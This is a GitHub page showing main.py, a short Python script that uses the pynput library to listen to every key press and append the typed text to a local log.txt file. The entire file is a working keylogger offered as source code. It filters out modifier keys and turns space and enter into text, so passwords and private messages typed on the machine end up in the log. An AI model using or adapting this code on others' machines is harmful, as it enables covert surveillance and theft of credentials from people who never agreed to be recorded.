-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
24 lines (19 loc) · 806 Bytes
/
Copy pathmain.py
File metadata and controls
24 lines (19 loc) · 806 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# install pynput package
from pynput.keyboard import Listener
list_of_words = ['Key.shift_r', 'Key.ctrl_l', 'Key.backspace', 'Key.shift', 'Key.ctrl_r', 'Key.alt_l', 'Key.alt_r',
'Key.tab', 'Key.esc', 'Key.down', 'Key.left', 'Key.right', 'Key.up', 'Key.menu',
'Key.num_lock', 'Key.page_down', 'Key.page_up', 'Key.home', 'Key.end', 'Key.insert', 'Key.delete']
def write_to_file(key):
letter = str(key)
letter = letter.replace("'", "")
if letter == 'Key.space':
letter = ' '
for word in list_of_words:
if word == letter:
letter = ''
if letter == "Key.enter":
letter = "\n"
with open('log.txt', 'a') as f:
f.write(letter)
with Listener(on_press=write_to_file) as l:
l.join()